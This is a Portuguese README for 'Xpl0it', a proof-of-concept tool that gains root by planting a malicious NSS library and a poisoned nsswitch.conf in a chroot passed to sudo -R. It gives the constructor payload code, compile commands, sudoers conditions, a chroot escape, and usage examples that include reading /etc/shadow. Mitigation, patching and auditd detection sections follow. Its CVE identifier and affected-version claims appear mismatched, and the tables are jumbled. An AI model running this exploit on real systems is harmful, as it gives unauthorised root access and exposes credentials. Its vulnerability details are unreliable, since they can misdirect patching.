
Exploit de prova de conceito para CVE-2023-42456, demonstrando escalada de privilégio via sequestro da biblioteca NSS do sudo por meio de injeção chroot. Inclui detecção automatizada de versão, geração de payload e escape de chroot para testes de segurança autorizados.
Autor: 0xb0rn3 | 0xbv1
Tipo: Ferramenta de Pesquisa de Segurança Prova de Conceito (PoC)
CVE: CVE-2023-42456
Técnica: injeção de biblioteca NSS via -R chroot do sudo → escalonamento de privilégio para root
Esta ferramenta foi desenvolvida apenas para testes de penetração autorizados e pesquisa educacional em segurança. Execute-a exclusivamente em sistemas que você possua ou tenha permissão explícita por escrito para testar. O(s) autor(es) não se responsabilizam por qualquer uso indevido. O uso não autorizado é ilegal.
Xpl0it é uma prova de conceito que explora uma falha no modelo de confiança de como o sudo gerencia o carregamento dinâmico de bibliotecas NSS (Name Service Switch) ao usar a flag -R (chroot). Em versões vulneráveis do sudo, um invasor que controla o diretório chroot pode envenenar o nsswitch.conf dentro dele para forçar o sudo a carregar uma biblioteca compartilhada maliciosa enquanto ainda mantém privilégios elevados — antes de qualquer redução de credenciais.
Em uma execução bem-sucedida, a ferramenta o coloca em um shell root ou executa qualquer comando especificado com uid=0 gid=0.
Esta ferramenta tem como alvo exclusivo CVE-2023-42456. A vulnerabilidade existe em dois ramos de lançamento, cada um com um commit de correção separado:
Importante: sudo 1.9.17 e posteriores não são vulneráveis. Ferramentas e artigos anteriores listaram incorretamente o intervalo como "1.9.14–1.9.17". Esta ferramenta realiza detecção de versão por ramo para evitar falsos positivos.
As seguintes CVEs não são exploráveis por meio desta técnica e foram intencionalmente excluídas para evitar falsos positivos:
| CVE | Técnica | Por que foi excluído |
|---|---|---|
| CVE-2021-3156 (Baron Samedit) | Estouro de buffer baseado em heap | Vetor de ataque completamente diferente |
| CVE-2021-23239 | Condição de corrida no sudoedit | Técnica diferente |
sudo -R exige uma diretiva ChrootDir= explícita na entrada do sudoers do usuário alvo. NOPASSWD sozinho não concede permissão para -R.
Sem ChrootDir, o sudo rejeita totalmente a flag -R:
sudo: you are not permitted to use the -R option with bridge
Uma entrada no sudoers que permite este exploit deve se parecer com uma das seguintes:
# Caminho de chroot irrestrito (condição de ataque ideal)
targetuser ALL=(root) ChrootDir=* NOPASSWD: ALL
# Caminho de chroot restrito (ferramenta adapta diretório de preparação automaticamente)
targetuser ALL=(root) ChrootDir=/var/jail/* NOPASSWD: /bin/bash
# Caminho específico (ferramenta cria preparação dentro do caminho permitido)
targetuser ALL=(root) ChrootDir=/tmp/* NOPASSWD: ALL
Xpl0it analisa sudo -l em busca de ChrootDir antes de qualquer trabalho de preparação e aborta precocemente com uma explicação clara se a permissão estiver ausente.
sudo -R bridge bridge
│
├─ sudo calls chroot("./bridge") ← attacker controls this dir
│
├─ sudo must resolve calling user's info
│ └─ loads /etc/nsswitch.conf from chroot
│ └─ "passwd: files bridge90"
│ └─ dynamic linker loads libnss_bridge90.so.2
│ └─ __attribute__((constructor)) fires
│ └─ setreuid(0,0) + setregid(0,0)
│ └─ chroot escape → exec payload
│
└─ root shell spawned
Passo 1 — Reconhecimento
Coleta SO, versão do kernel, arquitetura, contexto do usuário atual e todos os caminhos de busca de bibliotecas válidos. Detecta a aplicação de AppArmor/SELinux e o status de NoNewPrivs — todos podem bloquear silenciosamente o exploit se ativos.
Passo 2 — Identificação da Versão
Analisa sudo --version e verifica o intervalo afetado de dois ramos para CVE-2023-42456 com precisão de nível de patch. Aborta com explicação se a versão estiver corrigida ou fora do intervalo.
Passo 3 — Verificação de Permissão ChrootDir
Analisa sudo -l em busca de diretivas ChrootDir=. Se ausente, aborta imediatamente. Se restrito a um caminho específico, automaticamente utiliza esse caminho para preparação para que o sudo aceite a chamada -R.
Passo 4 — Sonda Pré-Exploração
Constrói um chroot mínimo descartável e dispara uma chamada sudo -R inofensiva antes de qualquer trabalho real de preparação. Confirma que o sudo alcançará a resolução NSS e captura rejeições de "não permitido" precocemente.
Passo 5 — Geração do Payload
Escreve bridge90.c — uma biblioteca compartilhada C com uma função __attribute__((constructor)) (_nss_bridge90_init) que é disparada no momento em que o vinculador dinâmico a carrega:
__attribute__((constructor))
static void _nss_bridge90_init(void) {
setreuid(0, 0); setregid(0, 0);
setuid(0); setgid(0);
// chroot escape: mkdir sub-dir → chroot deeper →
// traverse 40x"../" → re-anchor chroot to real /
mkdir("._esc", 0700);
if (chroot("._esc") == 0) {
// ... 40x "../" chdir ...
chroot(".");
}
chdir("/");
execl("/bin/bash", "bash", "-c", CMD, NULL);
execl("/bin/sh", "sh", "-c", CMD, NULL);
_exit(1);
}
Passo 6 — Configuração do Ambiente
Constrói um chroot convincente dentro do diretório de preparação:
bridge/etc/nsswitch.conf — envenenado para carregar o serviço NSS bridge90bridge/<lib_path>/libnss_bridge90.so.2 — o payload, implantado em todos os caminhos de lib detectados (cobertura multilib)bridge/bin/bridge — executável stub que o sudo deve encontrar para prosseguir após as verificações pré-execuçãobridge/bin/sh, bridge/bin/bash — shells com interpretador ELF correto (detectado via readelf -l)bridge/etc/ld.so.conf — cobre todos os caminhos de lib para que ldconfig -r construa um cache válidoPasso 7 — Compilação
gcc -shared -fPIC -nostartfiles -Wl,-soname,libnss_bridge90.so.2 -o libnss_bridge90.so.2 bridge90.c
-nostartfiles — sem código de inicialização padrão; o construtor cuida de tudo-Wl,-soname — SONAME correto para resolução de nomes NSS-Wl,-init — __attribute__((constructor)) é suficiente; adicionar -Wl,-init causa uma chamada dupla e é um bugApós a compilação, nm -D verifica se o símbolo do construtor está presente na tabela de exportação dinâmica.
Passo 8 — Execução
Dispara sudo -R bridge bridge a partir do diretório de preparação. NSS resolve bridge90 → carrega nossa biblioteca → construtor é disparado com privilégios elevados → fuga do chroot executa → shell root.
A implementação de -R do sudo confia no conteúdo do diretório chroot que ele acessa. Antes dessa correção, o sudo não validava se o ambiente chroot havia sido adulterado. Como o usuário que fornece o caminho do chroot controla seu conteúdo — incluindo nsswitch.conf e as bibliotecas NSS que ele referencia — ele pode redirecionar o carregamento de bibliotecas para código arbitrário que é executado antes que o sudo realize qualquer redução de privilégios.
Atualizar o sudo
Atualize para 1.9.15p2, 1.9.16p2 ou qualquer versão 1.9.17+. Essas versões validam ambientes chroot antes de permitir a resolução NSS dentro deles.
# Verifique sua versão
sudo --version
# Debian/Ubuntu
apt-get update && apt-get install sudo
# Arch Linux
pacman -Syu sudo
# RHEL/Fedora
dnf update sudo
Auditar diretivas ChrootDir
Revise /etc/sudoers e todos os arquivos em /etc/sudoers.d/. Remova entradas ChrootDir= a menos que explicitamente necessárias. Restrinja curingas — prefira ChrootDir=/caminho/específico em vez de ChrootDir=*.
grep -r "ChrootDir" /etc/sudoers /etc/sudoers.d/ 2>/dev/null
Assinaturas de log de auditoria
# auditd — detectar invocações sudo -R (raras em uso legítimo)
auditctl -a always,exit -F arch=b64 -S execve \
-F exe=/usr/bin/sudo -k sudo_chroot_attempt
# journald
journalctl | grep -i "sudo.*-R\|chroot"
Indicadores suspeitos
sudo -R nos logs — uso legítimo em produção é extremamente raro/tmp com nomes correspondendo a sudobridge.*libnss_*.so.2 em /tmp ou diretórios graváveis pelo usuáriogcc a partir de sessões de usuário não relacionadas à construção do sistemasetreuid/setregid de processos não pertencentes ao root# Tornar executável
chmod +x Xpl0it
# Entrar em shell root (padrão)
./Xpl0it
# Executar um comando específico como root
./Xpl0it -c "id && cat /etc/shadow"
# Modo de depuração — saída verbosa, diretório de preparação preservado ao sair
./Xpl0it -d
# Perguntar antes de continuar em caso de incompatibilidade de versão
./Xpl0it -v
# Combinar flags
./Xpl0it -v -d -c "/bin/bash"
A entrada do sudoers do usuário alvo também deve incluir ChrootDir= — a ferramenta verifica isso automaticamente e falha rapidamente com uma explicação se estiver ausente.
Se o exploit falhar, execute com -d para preservar o diretório de preparação e inspecione:
Motivos comuns de falha:
man nsswitch.conf, man 5 nssman ld.so, man ldconfigchroot(2)Contribuições que melhorem a precisão, portabilidade ou cobertura de detecção são bem-vindas. Mantenha quaisquer adições alinhadas com os princípios de divulgação responsável e casos de uso de testes autorizados.
Xpl0it é para pesquisa de segurança autorizada apenas. Sempre obtenha permissão explícita por escrito antes de testar em sistemas que você não possui.
| Ramo | Vulnerável | Corrigido em |
|---|
| 1.9.14.x | todos (1.9.14 – 1.9.14p2) | N/A (ramo inteiro afetado) |
| 1.9.15.x | 1.9.15 – 1.9.15p1 | 1.9.15p2 |
| 1.9.16.x | 1.9.16 – 1.9.16p1 | 1.9.16p2 |
| 1.9.17+ | não afetado | correção mesclada upstream antes do ramo |
| CVE-2021-23240 | Bypass de link simbólico de função SELinux | Técnica diferente |
| Camada | Ação |
|---|
| Patch | sudo ≥ 1.9.15p2 / 1.9.16p2 / 1.9.17+ |
| Sudoers | Remover ChrootDir=*; usar apenas caminhos específicos |
| MAC | Perfis AppArmor/SELinux bloqueando dlopen() não confiável |
| Sistema de arquivos | Montar /tmp e diretórios de usuário com noexec,nosuid |
| IMDSv2 | Em instâncias em nuvem, exigir acesso a metadados baseado em token |
| Monitoramento | Alertas do auditd em invocações de sudo -R |
| NoNewPrivs | PR_SET_NO_NEW_PRIVS impede que setreuid() funcione |
| Flag | Descrição |
|---|
-c, --command <cmd> | Comando a ser executado após escalonamento (padrão: /bin/bash) |
-d, --debug | Saída de depuração verbosa; preserva diretório de preparação ao sair |
-v, --verbose | Perguntar antes de continuar se a versão estiver fora do intervalo afetado |
-h, --help | Mostrar uso |
--version | Exibir versão |
| Dependência | Obrigatório | Propósito |
|---|
gcc | Sim | Compilar biblioteca compartilhada NSS no alvo |
sudo | Sim | Binário alvo |
ldconfig | Sim | Construir ld.so.cache dentro do chroot |
readelf | Sim | Detectar caminho do interpretador ELF |
grep, awk, sed, find | Sim | Utilitários padrão |
strace, ltrace, gdb | Opcional | Depuração avançada |
nm | Opcional | Verificação de símbolo do construtor |
| Verificar | Caminho | O que procurar |
|---|
| Log de compilação | $STAGE/logs/compile.log | Erros do gcc |
| Log do ldconfig | $STAGE/logs/ldconfig.log | Erros de construção do cache |
| nsswitch.conf | $STAGE/bridge/etc/nsswitch.conf | passwd: files bridge90 |
| Biblioteca | $STAGE/bridge/<lib_path>/libnss_bridge90.so.2 | deve existir |
| Sudoers | sudo -l | deve mostrar ChrootDir= |
| Erro | Causa |
|---|
not permitted to use the -R option | ChrootDir= ausente no sudoers |
| Código de saída 1, sem erro NSS | Versão do sudo corrigida |
| Biblioteca não carregando silenciosamente | AppArmor/SELinux bloqueando dlopen() |
setreuid ignorado | NoNewPrivs=1 no processo |
| Biblioteca não encontrada | ldconfig -r falhou e fallback de link simbólico insuficiente |